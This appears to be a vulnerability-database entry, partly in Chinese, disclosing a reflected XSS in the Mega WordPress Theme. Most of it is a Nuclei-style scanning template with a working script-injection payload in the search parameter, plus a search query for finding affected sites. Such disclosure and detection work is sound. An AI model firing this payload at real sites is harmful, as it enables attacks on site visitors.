wp-mega-theme: Mega Wordpress Theme - Cross site scripting

日期: 2025-08-01 | 影响软件: wp mega theme | POC: 已公开

漏洞描述

WordPress theme with a 'Mega-Theme' design is vulnerable to a reflected XSS attack through the '?s=' parameter.

PoC代码[已公开]

id: wp-mega-theme

info:
  name: Mega Wordpress Theme - Cross site scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress theme with a 'Mega-Theme' design is vulnerable to a reflected XSS attack through the '?s=' parameter.
  reference:
    - https://cxsecurity.com/issue/WLB-2021120027
    - https://www.zhaket.com/web/megawp-wordpress-theme
  metadata:
    verified: true
    max-request: 1
    google-query: Megawp-Theme
  tags: wp,wp-theme,wordpress,xss,mega,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?s=%22%3E%3Cscript%3Ealert(`document.domain`)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "script>alert(`document.domain`)</script") && contains(body, "mega-theme")'
        condition: and
# digest: 4a0a004730450221009f82093ded0caf30daf35af21d74bd22f9e34e8a3c3e32836d5ba768d4f891d1022043d773f62f2e58d1634bcfda87e670c0d431a7ecd8093fa80e5b29151074d228:922c64590222798bb761d5b6d8e72950

相关漏洞推荐